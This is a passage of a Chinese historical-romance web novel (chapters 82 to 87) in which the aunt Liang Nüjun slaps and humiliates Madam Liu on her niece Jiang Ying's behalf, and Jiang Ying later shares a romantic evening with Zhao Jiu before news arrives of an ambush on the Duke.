更何况,此事本就因她而起!
若不是为了顺妻子心意,替姜璎出气,那陆家二郎何至于死咬着永安侯府不放?
她带来的麻烦,理应她亲自解决才是!
姜承祁暗示道:“陆大人是父亲的上峰,他自调回京中,便是户部侍郎,一句话就能影响到父亲的前途。此次就是因为你的缘故,父亲才会受其连累……”
“我的缘故?”
听了许久,姜璎终于开口,反问道:“我怎么不记得自己得罪过陆大人?”
“阿池!”
姜承祁又气又急,一阵胸闷,她是真不懂还是装糊涂?“要不是为你出气,陆家又怎么会迁怒我们?”
姜璎静静地看着他,忽然笑了。
“那你们得扪心自问,都做了什么,才会让陆大人瞧不过眼为我出气。”
“阿池。”
刘氏忽然猛地咳嗽起来。
姜承祁气势减弱,深吸一口气,软化了态度。
“之前的事情,我们都有做的不对的地方,但你的气性未免太大了些,阿宝走了,阿爹阿娘也病了,我的伤被你所刺至今未愈。”
“咱们一家人,难道还要有隔夜仇不成?”
姜璎微微挑了下眉,“所以,你们要见姨母?非得今日不可?”
听她这样毫无芥蒂地称呼梁女君为“姨母”,刘氏心里很不是滋味,勉强笑道:“今日虽说有些仓促,但毕竟是要紧事。阿池,你也多体谅你阿爹阿兄他们。”
“我可以派人去请姨母。”姜璎道,目光在刘氏脸上停留片刻。
“就不知道夫人的身体,承不承受得住。”
“不要紧!”刘氏满口应承,好不容易抓住这个机会,要是错过了,恐怕不仅永安侯会生气,就是儿子也要怪她。
姜承祁见姜璎还担心母亲身体,心里不由松了口气,面上也跟着露出笑容。
“阿池,你果然没让阿兄失望。”
姜璎借着给刘氏掖被,不着痕迹把手抽了出来,“举手之劳罢了。”
刘氏又闷咳几声。
一旁的仆婢端来茶水,姜璎却并未像从前那样亲自侍奉,喂到刘氏嘴里,而是起身避开,轻轻握住小荷手臂,询问道:
“小荷在我身边时日许久,如今她既已回来,不知夫人可否把她的奴籍身契一并给我?”
刘氏尚未开口,姜承祁便道:“区区小事,你还要再问一遍,难道阿兄还会反悔不成?”
当下让人去取小荷的奴籍身契。
姜璎平和的态度迷惑了他们,刘氏也懒得在意一个小小的下人,柔声道:“阿池,家里给你重新准备了新院子,成婚之前,你就还是住在家里吧。”
“还是以后再说吧。”姜璎漫不经心道,“姨母一直想让我同她住,若我回了侯府,她难免要不高兴。”
何止不高兴,梁女君还要派人砸了永安侯府的大门!
姜璎前脚刚出卫国公府,梁女君后脚就得到消息往这边赶来。
她正愁不知道怎么把阿池拐到自己身边,没想到天赐良机,一时既欣喜孩子愿意同自己亲近,又恼恨刘氏等人痴心妄想,竟敢打主意到姜璎头上!
“夫人、大公子,梁女君来了!”下人着急忙慌前来禀报。
竟然这么快?
刘氏母子二人面露讶然。
姜璎的脸上也浮现意外。
“快、快扶我起来!”刘氏吩咐道,好歹也是侯夫人,哪有一脸病容见客的?
仆婢们忙碌起来,赶紧开窗通风,端来盥洗用具,服侍刘氏净面更衣。
姜承祁一个外男,自然不好留在这,把小荷的奴籍身契取来交到姜璎手里,就匆匆离开了。
“姑娘?”小荷愣愣的,巨大的惊喜冲昏头脑,让她一时间不知道该说什么。
她是不是可以继续跟在姑娘身边了?日后再也不会有被扔到庄子上的风险?
姜璎温声道:“小荷,等回头我就找人勾销你的奴籍身契,日后你就是良籍。”
小荷泪眼汪汪,嘴里发出一声含糊不清的哭腔。
这时,刘氏已经换上了深衣曲裾。
她本就生的柔美动人,要不然也不能让永安侯疼爱多年,如今虽在病中,瞧着比从前憔悴衰老,但稍一打扮,反倒别有一番柔弱可怜。
仆婢挽开帘子,恭请梁女君入内。
刘氏立马迎上前去,客客气气道:“女君大驾光临,蓬荜生辉,实在是我身子不争气,招待不周了。”
第82章 掌掴
按理来说,刘氏身为侯夫人,实在没必要对梁女君这个尚无诰命的女君这样客气。
但今时不同往日,永安侯府的爵位本就是虚衔,如今又因为上次宴席的事情颜面尽失,永安侯甚至被连累的丢了官职。
想要官复原职,还得看陆二郎脸色。
情势所迫,刘氏再不愿意低头,也得笑脸相迎,客气中甚至带了一丝讨好意味。
“上次宴席,实在是个误会,孩子不懂事……”
梁女君正在寻找姜璎的身影,闻言倏忽一声冷笑,刘氏母女是她安排入席的,她们打得什么鬼心思,她比任何人都要清楚不过,居然还敢在这狡辩!
“孩子不懂事?难道刘夫人这个母亲是做摆设的不成?”她冷冷讥诮,丝毫不掩饰眼中的厌恶之色。
这对母女,不仅磋磨着她的阿池,还险些害她助纣为虐!
贱婢之女,果真上不得台面!
“姨母。”
听到这声呼唤,梁女君身上的冷意迅速融化,神情顷刻柔和,“阿池。”
她看也不看刘氏缤纷多彩的脸色,担忧地望着自己心爱的孩子。
“你不是一贯不爱出门吗,怎么今日到这儿来了?告诉姨母,是不是有人逼你的?”
姜璎看了眼刘氏,她面色已经不能用难堪来形容了,僵硬的笑容贴在脸皮上,就像哭笑小丑的面具。
刘氏内心快气疯了。
这个梁氏,简直欺人太甚!
她以为她算个什么东西?要不是命好嫁到了吴郡陆氏,说不定现在连给她捧脚的资格都没有!
好在,姜璎还是向着她的。
姜璎冲梁女君粲然一笑,凤眸微微弯起,像是被繁星簇拥的新月。
“姨母多虑了,没有的事儿。”
算不上逼迫,毕竟她本就是冲着小荷的身契来的。
梁女君于是淡淡看了刘氏一眼,“那看来是我误会了。”
刘氏勉强一笑。
虽然挽回了颜面,但看着姜璎像小猫儿似的,在亲近的人面前自然而然地袒露肚皮,甚至脸上笑容都那么真心实意。
刘氏简直如鲠在喉,一颗心仿佛掉到了油锅里。
无比煎熬。
才短短几日,她就这么亲近梁氏?
没有对比就没有伤害,有了对比就难免心生不甘。
刘氏心中暗恨,明明是永安侯府养了姜璎十年,这梁氏好不要脸,别人栽树她摘果——就知道占便宜!
“刘夫人杵着做什么,不是请我来解开误会吗?既然如此,说罢,我听着呢。”
梁女君姿态高贵,从刘氏身边经过,木屐无声,曲裾如波纹,自然而然居于主位。
一出反客为主,摧毁了刘氏强撑的骄傲。
梁女君一贯和气,又善于经营关系,是出了名的平易近人、交游广阔。所以当她毫不掩饰地表露出对永安侯府的不喜,几乎所有人都站在她这边。
平日同刘氏交好的贵妇们不约而同疏远了她,只剩下寥寥几个关系亲近的,好言相劝。
让刘氏去给梁女君赔个不是。
她们以为永安侯府会得罪梁女君,是因为那场闹出笑话的宴席。
实则不然。
宴会算什么东西?
能让梁女君如此动怒的,是姜璎这些年的遭遇。
狭长的凤眸落在刘氏身上,似轻蔑,又似厌恶。
“我倒是想知道,我们之间到底有什么误会,能让刘夫人如此兴师动众,请我过来。”
姜璎眨了下眼,虽然知道姨母对永安侯府和卫国公府十分厌恶,但也没想到她会如此不给面子。
刘氏本就在病中,一直强忍着咳意,想要好声好气同梁女君说话,结果她的一再忍让换来的却是得寸进尺!
她身为彭城刘氏的嫡次女,自幼被娇宠长大,何曾受过这等委屈?!
就是先前去卫国公府要人,王氏也不敢这样对她说话!
刘氏控制不住火气,不冷不热道,“我虽在病中,但也听说女君自称是我家阿池的姨母。这倒是巧了,不知她亲生父母又在何处?”
梁女君眼神骤冷,刘氏却自顾自道:
“想当初,雪灾暴虐,死伤无数,幸而我儿承祁将阿池从流民堆里捡回来。要不然,我也不能多这么一个贴心孩子。”
说着感伤地掖了掖眼角湿润,“这些年,我一直将阿池视作自己的亲生骨肉。她幼年怕雷雨,我便亲自抱着她哄她入睡,虽说后面阿宝回来,一碗水没能端平,但在我心里,阿池永远是我们永安侯府的姑娘。”
“今日请女君过府,一来是我身子不便,二来也是为着这些事情。阿池性情单纯,我难免怕她被三言两语哄骗了去,若真是亲戚皆大欢喜,若不是……可不就成误会了?”
刘氏闷咳几声,见梁女君面色阴沉,心中畅快无比!
一直憋在胸口的郁气总算得到纾解。
梁氏自己就是个来路不明的孤女,要不是好命得王老夫人垂怜,谁知道现在在哪儿接客!
梁女君倏忽一笑。
她不紧不慢起身,绰约多姿的身影宛如月宫仙子,气韵高华。
“刘夫人说话,当真是有趣。”她来到刘氏面前,抬手便是一记耳光。
清脆的声响惊住了所有人。
当场鸦雀无声,一片死寂。
刘氏捂着脸,满脸不可置信,死死地瞪着梁女君,尖声道:“你、你敢打我!”
仆婢们慌乱不已,不是她们护主不力,而是谁都没想到,梁女君竟然会这样掌掴永安侯府的女主子!
“姨母!”
姜璎也被吓了一跳,生怕梁女君吃亏,连忙走过来,对刘氏道:“姨母性情率真,并非有意如此,还请夫人见谅。”
梁女君心中划过一道暖流。
刘氏却勃然大怒,气血上涌,声嘶力竭地怒吼。
“你维护她?你维护她?”
“我是你的母亲,如今受了委屈,你竟然反过来竟然维护她?!”
眼泪猝不及防滚落。
如果说梁女君这一记耳光让刘氏倍感屈辱,那么,姜璎的维护则让她大受打击。
刘氏含泪看着姜璎,痛得几乎喘不上气来。
“我……”
梁女君轻轻拍了拍姜璎的手,示意她不必如此紧张。
打了就打了,有什么大不了?
“区区一个贱婢之女,也敢在我面前放肆。”梁女君漫不经心道。
“我就是让人打烂你的嘴,你母亲见了我,也得称呼一声贵主,谢我宽恕。”
第83章 失去
屋内一片死寂。
不知道是不是因为梁女君的那句“贱婢之女”,刘氏脸上血色尽褪,气得浑身发抖。
“我母亲是彭城刘氏的主母!汝南袁氏之女!你、你岂敢侮辱上姓贵女……”
“啪!”
又是一记耳光。
梁女君不耐地甩了下手,伺候的仆婢奉上软帕,在刘氏的羞愤欲死的尖叫声中,她不紧不慢地擦着每一根手指,姿态宛若欣赏一出好戏。
然而,姣好唇瓣轻启,吐出的却是温柔而极尽恶毒的字眼。
“汝南袁氏之女?这是你母亲亲口跟你说的?她倒真是爱往脸上贴金。”
“妾生为庶,婢生为孽,一个连录入家籍资格都没有的婢生女,也敢在外头顶着上姓贵女的名头。有趣,真是有趣。”
她巧笑嫣然,声音虽轻,但每一个字都仿佛魔咒一般进入刘氏的耳中。
“你母亲是婢生女,你也是婢生女,你的夫君,不过天水姜氏的旁系。”
“你们二人真是好大的胆子,竟敢自称是我外甥女的父母。”
姜璎愣在原地,完全没想到事情会发展到这一步。
什么婢生女?什么旁系?
刘氏最引以为荣的就是自己的出身,梁女君这一番话下来,可以说是将她的脸面撕得彻彻底底,踩在地上摩擦。
“你胡说……”刘氏牙齿打颤,强挤出来话来,以此来维护自己几乎不剩的尊严,“再怎么样,我也比你一个无父无母的人要强许多!”
梁女君微微挑眉,她父母确实都已经不在人世,可那又如何?她捏死刘氏照样跟捏死一只蚂蚁一样简单。
擦手的帕子轻轻一扔,正好甩在刘氏脸上。
极其侮辱的行为,让一众仆婢面色煞白,骇然不已。
“梁氏!”
颤抖的尖叫中,梁女君露出了愉悦的笑容。
“没有好好抚养阿姊的孩子,已经罪不可恕。不跪在地上求我也就罢了,还非要口出狂言,挑衅于我,如今自讨苦吃,也怨不得旁人。”
“回去问问你母亲吧,对了,记得告诉她,我生母袁若漪。”
“让她管住自己的嘴。”
她轻声细语,唇畔含笑,却让刘氏莫名打了一个寒颤。
梁女君转身,对着姜璎又是另外一副面孔,眼神柔和似水,轻哄道:“阿池,这儿风水不好,答应姨母,以后不来这里了好不好?”
姜璎还未答话,一个人就扑到自己身前,紧紧抓住她的肩膀,嘶吼道:“你是我的女儿!是我养大的!阿池,你不能抛弃……”
刘氏满脸泪水,剧烈咳嗽时,硬生生呕出一口血来。
反应过来的仆婢迅速将人拉开。
梁女君又惊又怒,抬起手要再给她一记耳光清醒清醒,却遭到了姜璎的阻拦。
“姨母!”她摇了摇头,“我们走吧。”
她已经分不清刘氏到底真心还是假意,抑或者,只是纯粹的不甘。
没有必要继续纠缠。
这是永安侯府的地盘,永安侯和姜承祁都还在家呢,再打下去,梁女君的名声也会受到影响。
姜璎承认自己藏了私心,她想借永安侯府这个出气口,让梁女君狠狠发泄一通,最好不要再迁怒卫国公府。
但她没想到,梁女君对待刘氏的态度……如此轻蔑。
“阿池!”刘氏发出撕心裂肺的哭声,被贴身的仆婢紧紧抱着。
她们畏惧于梁女君的威势,又怕夫人惹怒于她,再次受到欺辱。
永安侯和姜承祁闻声而来。
看见的就是眼前这一幕。
妻子(母亲)似乎受到了莫大的刺激,精神崩溃大哭,她挣扎着试图用无力的手去抓姜璎,却只能眼睁睁看着姜璎被梁女君轻搂着肩,逐渐远去。
“陆夫人。”永安侯甚至顾不及妻子,忙道,“怎么才来就要走?阿池,你不住在家里吗?”
姜承祁紧紧盯着姜璎,低声道:“阿池!你没听见阿娘在喊你吗?”
“听见了。”
姜璎抢到梁女君之前开口道:“我已经应夫人和大公子的要求,请姨母过来,但是不知道为什么,夫人似乎不太高兴,明里暗里质疑姨母认我的意图……”
顿了顿,她又道:“姨母性情中人,哪里受得了这样的委屈,自然也说了些语气冲的话。未免大家都下不来台,我还是先同姨母离开吧。”
永安侯瞠目结舌,怎么也没想到会变成现在这个局面。
他不是让刘氏好好同梁女君赔不是吗?她去管什么认亲的意图?!
管它真的假的,只要梁女君肯心甘情愿为姜璎付出不就行了!
这个刘氏……!
永安侯险些气得说不出话来。
“阿池,你怎么也不劝着点?”姜承祁是个孝子,自然心疼母亲,谴责的话脱口而出,丝毫不过脑子。
姜璎听都听腻了,也不觉得有什么。
大不了左耳进右耳出。
但梁女君哪里容忍得了有人这样对她?当下冷了脸。
“永安侯府果真是后继有人。”
姜承祁脸色微变,“我……”
永安侯怒喝道:“你住口!”他狠狠瞪了一眼儿子,废物东西,和他母亲一样,就知道拖后腿!
梁女君心中冷笑一声,眼底恶意一闪而过。
“今日的闹剧,我也看够了。我不是恩将仇报的人,虽然刘夫人同她生的几个子女,做了不少恶事,但阿池毕竟是在永安侯府长大。”
“若侯爷赏脸,改日我让二郎下帖,请你过府一叙。”
峰回路转,意外之喜!
永安侯忙笑道:“刘夫人客气,实在是我的荣幸……”
剩下的话淹没在刘氏的哭声之中。
叫人听不清楚。
“阿池!”她无力摔倒在地,痛哭声绝望无比,“别走,阿娘求你……别走!”
到底是什么时候开始,她弃之如敝屣的孩子,成了他人掌中之明珠?
可是,明明这些懂事顺从、贴心维护。
都应该是属于她的!
那是她的孩子,是她花费心血培养出来的!
梁氏一个后来者,凭什么能将她取而代之?
“阿池……”你哪怕回头看阿娘一眼啊。
刘氏失声痛哭。
第84章 身世
“姨母日后不要自己动手了。”牛车里,姜璎一脸严肃道,“就是再生气,也得考虑后果,没必要白白让人拿了把柄,落个理亏。”
百足之虫死而不僵,除非永安侯府彻底败落,否则,这样的羞辱只会埋下祸根。
这是王氏教她的。
梁女君含笑看着她,没有半点在永安侯府的威风,好脾气应道:“都是姨母不好,姨母下次一定记着。”
姜璎顿了顿,心里又有点过意不去,“我知道姨母是为我出气……”
梁女君截断她的话,“姨母就是看不惯她那张扬样,凭她也配在我面前趾高气昂?为你出气,是见不得你受委屈,你若要反思自己,那姨母心里只会难受百倍。”
梁女君宁可姜璎自私自利,也好过处处为他人着想!
自私的人除了名声遭人诟病,其他好处可一点儿没落下。反观后者,一味付出,最后反而容易落得个吃力不讨好的下场。
梁女君把她搂在怀里,轻抚肩膀,“你是不是想问你母亲的身世?”
姜璎“嗯”了一声,小声道:“姨母,阿娘葬在何处?若是有机会,我想去看看她。”
为人子女,总该去上柱香才是。
提到姜璎的生母,梁女君眼中流露一丝复杂之色,“她葬在你外祖的陵墓中,等有机会,姨母一定带你去看她。”
外祖?
姜璎不免有些好奇。
听梁女君方才跟刘氏说话的口气,她的外祖和外祖母好像是什么了不起的人物。
梁女君笑了笑,温声道:“其实,我与你母亲并非同母姊妹,你的嫡亲外祖母,也就是我的嫡母,是汝南袁氏的嫡长女。”
说起来,姜璎确实同刘氏有些许亲戚关系,严格意义上来说,她得称呼刘氏为姨母,称呼姜宝瑜为表姐。
但梁女君压根不承认刘氏是她的表妹。
她生母虽为庶出,但一直是养在夫人膝下,同嫡母感情深厚。后面生母作为媵妾陪嫁,生下她,她同样与阿姊亲密无间。
若不是后来遭难……
姜璎脸上落下些许湿润,她抬头望去,不禁怔然。
“姨母,你哭了。”
“想起些许伤心事罢了。”梁女君抬手拭去眼角泪水,怜惜地看着怀里的孩子,“咱们家出了祸事,要不然你定是你外祖父掌中之明珠……”
姜璎一听头都大了,都不消想,接下来必定就是无数郎君任她挑选,赵咎配不上她之类的话,赶忙道:
“姨母,东隅已逝,桑榆非晚,沉湎过去不可取。更何况,我现在就已经很满足了。
她歪了歪脑袋,露出一个傻乎乎的笑容,“就像是梦一样。”
梁女君勉强一笑,她无法详说姜璎身世,只能强忍下锥心之痛,哄她:“阿池要不要去陆家,跟姨母住一段时日?我听说,赵老夫人回来了,她有没有给你气受?”
姜璎摇了摇头,“没有啊,不过她看中了姨母给我的桃花玉,我没给,倒是把她气得够呛。”
语气中藏着了一点不易察觉的小得意。
像是猫咪高高翘起尾巴,边摇晃尾巴尖尖,边踩着肉垫,一脸神气地昂头。
她现在已经不会被人欺负啦!
梁女君才升起的怒火就这样被她浇灭,捧着她的脸蛋,夸奖道:“做得好,不必怕他们,凡事都有姨母呢。”
姜璎点了点头,“姨母,你也不用天天让人送东西过来,衣服首饰什么的,我穿戴不过来。”
时下染料技术一般,很多衣服洗过一次便会褪色,对贵族而言,几乎不会有穿第二次的机会。
但姜璎对这些没感觉,她在家更喜欢穿旧衣。
梁女君轻抚她脑袋,漫不经心道:“姨母没有孩子,以后的东西都是你的,财帛放着也是冷冰冰的死物,还不如给你做衣裳、打首饰。”
“再者说,你先前没个依靠,住卫国公府也就罢了,如今有姨母,姨母可不能让你白吃白喝人家的。”
姜璎眼眶一热,埋在梁女君脖颈间,轻轻抽了抽鼻子。
姨母总说,她母亲、外祖外祖母若是还活着,她该是多么受宠风光。
姜璎也想他们活着,不为风光,只为亲人在世,团聚圆满。
但人不能贪心,她如今已经足够幸运。
不
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论是世子夫人、赵咎他们,还是姨母,都把她放在心尖尖上,她还有什么是不能满足的呢?
“姨母,等世子夫人胎象稳固,我就去陪你。”她保证道。
梁女君心里泛酸,面上不显,摸了摸姜璎的脸蛋,柔声道:“那姨母等着你。”
回到卫国公府,姜璎没看见赵咎,心里不由生出一抹侥幸。
兴许,他还不知道吧?
还没走两步,身后忽然响起一个声音。
“站住。”
姜璎立马屏住呼吸,一动不动。
香薷香附更是紧张得浑身僵直。
脑海里只有一个念头。
——完了!
“去哪儿了?”赵咎走到姜璎面前,似随口一问。
姜璎眼前一亮,赶忙绞尽脑汁找借口,正要开口,赵咎轻飘飘递来一眼。
“想好了再说。”
“……”她哼哧哼哧道,“那我说了,你不要生气啊。”
赵咎挑起眉梢,夸道:“长进了,都学会讨价还价了。”
姜璎噎了一下,继而努力摆出严肃的表情,“是我不许香薷她们告诉赵九郎君的,她们既是我的贴身丫鬟,自然该听我的。”
“况且,我只是去永安侯府取些东西,很快就回来了。”
姜璎觉得自己没有做错事情,但出于某种心理,还是不大放心地补充了一句:“你不能生气。”
赵咎道:“既然没有做错事情,又为什么要瞒着我?”
“因为……”
“因为你有自己的秘密?”
姜璎下意识要点头,还好反应及时,硬生生给刹住了。
“没有!”她求生欲十足。
这回倒是颇有眼力见,主动拉住赵咎的衣袖。
随着鹅卵石道路两旁的宫灯亮起,两道身影交叠一处。
在没有人注意的角度,赵咎轻轻抓住她的手,身影碰撞相交,又被夜色拉长。
细碎的蝉鸣中,隐约听见有人幽幽道:
“我才离开一会儿,你就没影了,还想瞒着我。”
“果真是喜新厌旧、薄幸无情。”
“姜璎。”
“我要去陛下那告你。”
第85章 宝宝
“你要去告我?”
姜璎眨了下眼,凤眸因震惊而显得微微圆润,透着股质朴呆气。
她已经罪大恶极到这种地步了吗?
“嗯,你还有什么想说的吗?”赵咎抱着手臂,好整以暇地看着她。
“我不知道说、说什么。”姜璎结巴了一下。
赵咎半倚着檐柱,与姜璎隔着一臂距离,姿态松散却不失弘雅,杏眸似含薄薄水光,亦喜亦嗔,令人心神摇曳。
姜璎这才注意到他换了一身赭红箭袖轻袍,像是刚从外头回来。
她脑中念头错杂,仅剩的理智还要同美色做抗争,一时脱口而出道:“你出去了也没有和我说啊!”
赵咎唇角一僵,罕见的心虚。
“我是进宫找陛下商议要事……”顿了顿,他反应过来,“我倒是想跟你知会一声,你人呢?”
“在这儿呢。”姜璎下意识道。
说完,两人齐齐一愣。
赵咎顿时破功,眼中笑意倾泻而出,在胸腔的微微震颤中,捧着她的脸亲了下去。
不易令人察觉的拐角,仆婢们远远侍立。
夜色掩藏着身形,蝉鸣宣泄着闹音。
明月扯了块云,挡在身前偷看动静。
“你故意的是不是?”细碎的吻落在唇角,湿润蔓延,趁着某人心软,轻而易举撬开唇齿。
“偷跑出去就算了,还不哄我。”
“……”
“不哄我就算了,还倒打一耙。”
“……”
姜璎试图辩解,然而一个“我”字还没出来,就被堵了个严丝合缝。
这才第二次,赵咎的接吻技术就有了突飞猛进的提高,动作看似细致温柔,实则暗藏强势,姜璎有种自己成了盘中点心的错觉,仿佛下一刻就要被吞入腹中。
起先还算温柔,但随着姜璎发出一声低低的**软哼,禁锢在腰间的手不由猛地一紧。
唇珠被吮得肿红湿软,黏腻腻的水渍从唇角泄出,又被吃得干干净净。
“我……”她微微喘息,想要说话。
赵咎低声喊:“宝宝。”
低哑的声音顿时酥软了半个身子,姜璎又让他亲了一会儿,才找到机会双手捂嘴,胡言乱语道:
“你是不是饿了?饿了,也也不能吃我,我不好吃的!也不要勾引我了,求求你好吗?”
赵咎扑哧一笑,凑近问她:“那你有没有被勾引到?”
姜璎想点头,又觉得太丢人,只好忍痛闭眼,别过脸语速极快:“天色不早了我该回去歇息了。”
“诶!”
才走没两步,又给抓了回来。
赵咎不依不饶,“你做错了事儿,为什么不哄我?是不是心里没我?”
姜璎简直无处伸冤,“明明是你,不给我哄你的机会!”
“那现在呢?”
什么现在?姜璎懵了一瞬,是要她现在哄他的意思吗?
赵咎牵住她的手,大人有大量,“我饿了,陪我去用饭,我就原谅你。”
姜璎轻哼一声,“那你不要原谅好了。”
真生气了?
赵咎眨了下眼,轻轻挠了一下她手心,低声服软道:“可是我饿了……”
听着怪可怜的。
要不是嘴巴还肿着,姜璎差点就被迷惑了。
“饿了你还吃我……”她不大高兴地嘟囔,“我又不管饱。”
“但是解渴。”他一本正经。
“……”
下一刻,香薷香附等人就见昏暗的角落走出两个人来。
姜璎脸颊微鼓,像是一团抹了胭脂的糯米团子。
赵咎不紧不慢跟在后头,好几次去拉她的手,都被拍开。
难得见姜璎闹脾气。
大家都安静不说话,远远跟在后头。
赵咎心里高兴,但面上不敢露出分毫,哄道:“我错了,阿池,要不你打我两下出出气。”
姜璎道:“我才不**。”
赵咎道:“可以打。”
他坚持如此,姜璎反而起了一身鸡皮疙瘩,脸上露出一丝担忧,不放心地摸了摸他的额头。
“没发烧啊。”
奇怪。
难道饿得开始说胡话了?
赵咎:“……”
明惠帝鬼话连篇,还没刑如风靠谱!
两人一同进食,
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饭后散步。
赵咎低声道:“我过几日要出去一趟。父亲蜀地赈灾,揪出了几个中饱私囊的蛀虫,如今地动平复,他也安然折返,以防万一,陛下命我亲自去接。”
“会有人在半路埋伏国公大人?”姜璎一下子听懂了赵咎的意思。
“只是猜测,不一定会发生。”
赵咎叮嘱道:“接下来一段时间就不要出去了,姜宝瑜走了,常六还在,指不定心怀鬼胎,做出什么偏激的事情。”
姜璎点了点头。
姜宝瑜被迫离京,受这么大的委屈,常无忌怎么可能善罢甘休?
他没有闹起来,反而不对劲。
赵咎出京以后,姜璎哪儿也不去,每日不是陪王氏说说话,就是跟着郑氏算账。
本以为日子能一直这样平静下去,结果赵老夫人那边又出了新的幺蛾子。
“给张琼华准备嫁妆?”
郑氏听完底下人的传话,不由嗤笑一声,“还真是上门打秋风来的呢?你回去,问问老夫人,只要张家愿意舍了面子,让女儿在卫国公府出嫁,我们赵家也不是不能出这份嫁妆。”
王氏无奈摇头,“你同她计较什么?”
赵老夫人就是个拎不清的。
要不然,当初也不会做出那些蠢事。
“也是,到底是长辈。”郑氏笑了一下,藏住眼底阴翳,漫不经心道,“那就把张大姑娘请来问问清楚,他们张家到底是怎么回事,怎么上上下下都不要脸皮呢?”
“阿郑。”
“难道大嫂真要给张琼华操办婚事?”郑氏想到赵咎所说,就恨不得剥了赵老妪的皮喂狗!说不定狗还嫌弃肉柴呢!
王氏淡淡道:“她不过就是想要我们出一份嫁妆罢了,且先糊弄过去,免得那边儿不消停。”
郑氏仍旧不满,“张家同永安侯府的亲事,跟我们有什么关系?添妆可以,我那还有几匹旧料子,干脆就拿给她好了!要动公中的钱,我可不答应!”
自从那日张琼华从永安侯府回来,就没少在赵老夫人那哭诉。
说姜璎不知廉耻,勾引姜大公子。
第86章 急报
赵老夫人本就视姜璎为眼中钉,觉得她占了朱季灵的位置,一听张琼华这么说,更是怒不可遏。
直接派人传王氏过去说话,要她给个交代。
“这种不安分的浪蹄子,你还要留她在府里!”赵老夫人张口就骂。
边上站着暗自垂泪的张琼华,不知道的还以为是受了多大委屈。
王氏无意同赵老夫人争执,只笑道:“姑母这话说的,未免也太难听了,传出去有损姑母气度。”
她还是那几句话。
赵咎的亲事,乃陛下亲赐,又得了太后首肯,谁置喙谁就进宫去同那两位说去。
然而赵老夫人虽一把年纪,却并无诰命在身,依理无召不得入宫,她心里窝火,只能死咬着姜璎错处不放。
“这九郎还在家里,她就敢勾搭这个、勾搭那个,这种不知廉耻的东西,你去给我把她叫来!”
叫来受你磋磨?
王氏心生厌烦,面上却丝毫不显,甚至看也不看张琼华,“姑母既非亲眼所言,如何能听一面之词?”
这话不就是在说张琼华有胡编乱造的嫌疑吗?
想到这几日所受到的种种委屈伤害,她眼泪刷一下就掉了下来,“我亲眼所见,姜璎同姜大公子拉拉扯扯!我没必要说谎!”
“许是张姑娘误会了。”王氏敷衍道,实在懒得跟他们掰扯,捂着微微起伏的小腹似有所不适,辛夷等人连忙上前搀扶。
赵老夫人脸黑了下来,她那些个媳妇都被她收拾得服服帖帖,就是身怀六甲也照样站规矩,这王氏也太矫情了!
还没说几句,王氏就回去了。
气得赵老夫人想找个发泄的口子都找不到。
她倒想收拾姜璎,奈何派去的下人统统无功而返。香薷等人岂会任由他们带走姜璎?
想到这几日发生的事情,郑氏心里愈发不痛快。
“三天两头的要这个要那个,还非得我们都去跟前伺候着。大嫂,这泥人尚有三分火气,事事忍让,她还当我们天生逆来顺受的呢!”
姜璎在一旁听了半天,知道郑氏是替王氏和她抱不平,“二夫……”
“嗯?”
“二嫂。”姜璎立马改口,“咱们毕竟是小辈,夫人也是想着多一事不如少一事。国公大人不是快要回来了吗?等他回来,想必老夫人也会有所收敛吧?”
道理都明白,但郑氏就是咽不下这口气。
姜璎迟疑道:“要不,我来准备张姑娘的嫁妆单子?”
此言一出,房内安静片刻。
王氏忍俊不禁,郑氏也不由扶额。
“傻啊你!我们撇清干系都来不及,哪有你这样上赶着给自己找麻烦的?”
“这事儿就是做好了,老夫人那边也不会夸你。但要是做得有丁点不如她意,到时候指不定怎么闹翻天呢!”
更何况,那日梁女君登门永安侯府的事情已经小范围地传开了,
但凡消息灵通的,谁不知道梁女君大显神威,把刘氏气了个半死?
王氏把姜璎护得严严实实,一方面也是怕梁女君知道外甥女在卫国公府受了委屈,直接带着人上门。
她原本也不愿意往深处想,奈何王老夫人隔三差五派人送东西过来,名义上是给王氏坐胎的补品,实际上有大半都是给姜璎准备的东西。
王老夫人出身汝南袁氏,前梁赫赫有名的高门。
若不是太祖皇帝改朝换代,清洗了一大批士族高门,也轮不到颍川赵氏后来者居上。
同为四世三公的门阀世家,即便颍川赵氏如今贵为皇帝母族,备受宠幸,但真要论起显赫风光,却远不及汝南袁氏当年的十分之一。
那才是真真正正的第一高门。
只可惜,太祖当年为了登基,心狠手辣,直接斩杀了一大批士族,王谢伤筋动骨,顾陆损失惨重,天水姜氏退出朝堂十余年,至于袁氏,更是险遭灭族,嫡系只剩下一个男丁。
理顺了其中脉络,梁女君的身世也就一目了然。
除非袁氏后人,否则,王老夫人又何必认她为女,以此抬高身份?
就是不知道,姜璎是袁氏的遗脉,还是……王氏不禁暗
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叹。
眼见她精力不济,郑氏和姜璎也不敢再打扰,纷纷起身告退。
郑氏把姜璎拉到一边,“你这些日子就待在大嫂的院里,哪儿都不许去,知道没有?”
张琼华在姜璎身上三番两次吃瘪,对她可谓是怀恨在心,朱季灵也不是什么善茬,只是更懂得审时度势。
还有赵老夫人这尊大佛。
王氏怀了身子,郑氏只能捏着鼻子接下差事,且先糊弄过去,忍一日是一日,实在不行就出点血。
但姜璎要是出事,别说赵咎要发疯,光梁女君一个就能让卫国公府鸡犬不宁。
郑氏想到上次王氏挨的那一记耳光,便心有余悸。
同样是姑母,也不知道赵老夫人和梁女君哪个更厉害。要不是怕赵老夫人连累自家面子无光,她还真想见识见识热闹。
郑氏说的话,姜璎一一记下。
本朝崇尚孝道,赵老夫人在身份上就有天然的优势,姜璎自然不会鸡蛋碰石头,自找苦头。
不过,她倒是想起来一件事。
“我听香附说,昨日三郎君在园子里玩儿的时候,朱姑娘和张姑娘也在,倒是颇为友善,要带他一起玩儿。”姜璎斟酌用词,点到为止。
剩下的,郑氏自然会去问底下人。
上次落水之后,赵恪身边伺候的婆子丫鬟就被狠狠惩戒了一通,郑氏这些日子又千叮咛万嘱咐,务必把两位郎君看好。
就算张琼华她们没有什么坏心,只是单纯想要通过赵恪讨好郑氏,仆婢们也不敢松懈半分。
郑氏没想到还有这一出,眼底隐现一抹怒火。
“好,我知道了。”
两人分别。
姜璎回房继续抄写经书。
王老夫人的寿宴快要到了,她准备抄些经书,再绣一幅百寿图作为礼物。
姨母说,王老夫人近些年信佛,想来经书什么的怎么也不会出错。
如此一连过了十多日,就在大家以为客院那边终于可以消停的时候,急报传来。
——卫国公回京半路**,九郎性命垂危!
第87章 吵架
这一消息顿时如水溅油锅,噼里啪啦炸开无数油花。
原本以为卫国公蜀地赈灾遭遇地动,不死也要残废,谁知道竟然平安回来了。
